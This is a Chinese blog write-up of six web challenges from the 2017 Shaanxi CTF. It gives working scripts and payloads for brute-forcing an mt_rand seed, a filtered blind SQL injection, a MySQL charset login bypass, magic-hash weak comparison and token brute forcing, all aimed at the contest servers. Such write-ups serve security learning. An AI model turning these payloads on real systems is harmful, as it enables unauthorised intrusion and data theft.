2017 陕西省网络安全技术比赛 Writeup

这次比赛觉得质量挺高的,至少找到了很多盲点,要学习的东西还非常多。

0x01 签到题

首先看源码
这里写图片描述
常见的类型,可以见以前写的博客
直接弱类型比较
Username=QNKCDZO&password=240610708
接着继续看源码
这里写图片描述

直接生成一个json格式的东西发过去就ok 试了好多遍才找到key=0
{‘key’:0}
这里写图片描述

0x02 抽抽奖

一道简单的js调试题目
首先找点击触发事件
这里写图片描述

找到之后下断点,点击按钮,单步调试
在有弹窗的函数出下断点步入
这里写图片描述
这里写图片描述
这里写图片描述

0x03 Wrong

一个备份文件泄露的题目,找到备份文件.index.php.swp
利用vim -r index.php.swp还原

<?php

error_reporting(0);
function create_password($pw_length =  10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}

session_start();
mt_srand(time());
$pwd=create_password();

if($pwd==$_GET['pwd'])
{
  if($_SESSION['userLogin']==$_GET['login'])
        echo "Good job, you get the key";
}
else
{echo "Wrong!";}

$_SESSION['userLogin']=create_password(32).rand();
?>

考点很清楚 爆破种子,以前有类似的题目,附上链接
分析一下逻辑可以得到,第一个随机数mt_srand可以用时间种子暴力破解
第二个rand可以利用弱类型比较绕过
左后附上代码

<?php 
function create_password($pw_length =  10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}

//$cookie_file = dirname(__FILE__).'/cookie.txt';
//使用上面保存的cookies再次访问
$i = 80;
$time = time();
while($i--)
{
mt_srand($time+$i);
echo  time();
echo 'hhh';
echo $time+$i;
$s = create_password();
$url = "http://117.34.111.15:85/index.php?pwd=$s&login=";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
//curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); //使用上面获取的cookies
//curl_setopt($ch, CURLOPT_COOKIEJAR,  $cookie_file); //存储cookies
$response = curl_exec($ch);
curl_close($ch);
echo $response;
}
?>

这里写图片描述

0x04 so easy!

这道题挺不错的,学到了很多新姿势
首先看源码

 <?php 

include("config.php");

$conn ->query("set names utf8");

function randStr($lenth=32){
    $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
    $str = "";
    while($lenth>0){
      $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
      $lenth --;
    }
   return $str;
}

if($install){
    $sql = "create table `user` (
         `id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,
         `username` varchar(30) NOT NULL,
         `passwd` varchar(32) NOT NULL,
         `role` varchar(30) NOT NULL
       )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
    if($conn->query($sql)){
       $sql  = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
       $conn -> query($sql);
    }
}

function filter($str){
     $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; 
     if(preg_match($filter,$str)){
         die("you can't input this illegal char!");
     }
     return $str; 

}


function show($username){
  global $conn;
  $sql = "select role from `user` where username ='".$username."'";
  $res = $conn ->query($sql);
  if($res->num_rows>0){

      echo "$username is ".$res->fetch_assoc()['role'];
  }else{
      die("Don't have this user!");
  }
}

function login($username,$passwd){
    global $conn;
    global $flag;

    $username = trim(strtolower($username));
    $passwd = trim(strtolower($passwd));
    if($username == 'admin'){
        die("you can't login this as admin!");
    }

    $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
    $res = $conn ->query($sql);
    if($res->num_rows>0){
        if($res->fetch_assoc()['role'] === 'admin') exit($flag);
    }else{
       echo "sorry,username or passwd error!";  
    }

}

function source(){

    highlight_file(__FILE__);
}

$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";

$action = isset($_GET['action'])?filter($_GET['action']):"source";

switch($action){
   case "source": source(); break ;
   case "login" : login($username,$passwd);break;
   case "show" : show($username);break;
}

需要注意以下几点
1.数据库不会内容变
2.show函数可以注入能用的字符串有select from () substr ’
3.show 可以盲注

盲注姿势
1.绕过,利用substr(user())from(1)
2.绕过空格 利用()
3.闭合引号,因为没有注释符所以只能用连等式
4.连接符选择 使用/连接

首先找到盲注点
这里写图片描述
写盲注脚本

import requests
string = ''
for i in range(1,33):
    for j in range(1,126):
        url="http://117.34.111.15:89/?action=show"
        s1 = "admin'/1=(ascii(substr((select(passwd)from(user))from({})))={})/'1'='1".format(str(i),j)
        data = {
            'username':s1
        }
        s=requests.post(url=url,data=data)
        content=s.content
        length=len(content)
        print length
        if length != 21:
            string+=chr(j)
            break
    print string 

password=37b1d2f04f594bfffc826fd69e389688
下一步用password登录admin,但发现

if($username == 'admin'){
        die("you can't login this as admin!");
    }

    $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";

发现不能直接用admin登录
必须利用字符集特征绕过此判断
P牛的文章
就是admin%c2 在php中就不为admin,但在mysql查询的就是为admin,所以可以绕过
原因就是Mysql字段的字符集和php mysqli客户端设置的字符集不相同。Mysql在转换字符集的时候,将不完整的字符给忽略了。
这里写图片描述

0x05 继续抽

这道题和第一个抽抽奖相比质量高得多。
首先经过调试发现运行机制

$(function(){
    var rotateFunc=function(jsctf0,jsctf1,jsctf2){
    $('#lotteryBtn').stopRotate();
    $("#lotteryBtn").rotate({angle:0x0,duration:0x1388,animateTo:jsctf1+0x5a0,callback:function(){
        $.get('get.php?token='+$("#token").val()+"&id="+encode(md5(jsctf2)),function(jsctf3){alert(jsctf3['text'])},'json');
    $.get('token.php',function(jsctf3){$("#token").val(jsctf3)},'json')
}})};
    $("#lotteryBtn").rotate({bind:{click:function(){
        var jsctf0=[0x0];
        jsctf0=jsctf0[Math.floor(Math.random()*jsctf0.length)];
        if(jsctf0==0x1){rotateFunc(0x1,157,'1')};
        if(jsctf0==0x2){rotateFunc(0x2,0xf7,'2')};
        if(jsctf0==0x3){rotateFunc(0x3,0x16,'3')};
        if(jsctf0==0x0){var jsctf1=[0x43,0x70,0xca,0x124,0x151];
            jsctf1=jsctf1[Math.floor(Math.random()*jsctf1.length)];
        rotateFunc(0x0,jsctf1,'0')}}}})})

jsctf 分别为0,1,2,3对应无,一等,二等,三等
重点在这里$.get('get.php?token='+$("#token").val()+"&id="+encode(md5(jsctf2))
token是本页面里的,下次发送数据需要使用,encode函数我们可通过调试得到


function encode(string)
{
    var output='';
    for(var x=0,y=string.length,charCode,hexCode;x<y;++x)
        {
            charCode=string.charCodeAt(x);
            if(128>charCode){charCode+=128}
                else if(127<charCode){charCode-=128}
                charCode=255-charCode;
                hexCode=charCode.toString(16);
                if(2>hexCode.length){hexCode='0'+hexCode}
                    output+=hexCode}
    return output
}

下面就用python暴力跑一下

import requests
import json
from base64 import *
from bs4 import BeautifulSoup
def md5(str):
    import hashlib
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()
def encode(string):
    output='';
    for i in string:
        charCode = ord(i)
        if 128 > charCode:
            charCode+=128
        elif 127< charCode:
            charCode-=128
        charCode=255-charCode;
        hexCode=hex(charCode)[2:]
        if 2 > len(hexCode):
            hexCode='0'+hexCode
        output+=hexCode
    return output

r = requests.session()
for i in range(1000):
    s = r.get('http://117.34.111.15:81/')
    soup = BeautifulSoup(s.content,'lxml')
    token = soup.input['value']
    idt = encode(md5(str(i)))
    s1 = r.get('http://117.34.111.15:81/get.php?token='+token+'&id='+idt)
    if 'flag{' in json.loads(s1.content)['text']:
        print json.loads(s1.content)['text']
        break

0x06 just a test

直接AVWS扫描
这里写图片描述
再接着用sqlmap跑一下
这里写图片描述
这里写图片描述
这里写图片描述
发现并没有想要的字段
可以报错注入
这里写图片描述
这题想死的心都有了,浪费了好长时间
flag{99cd1872c9b26525a8e5ec878d230caf}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值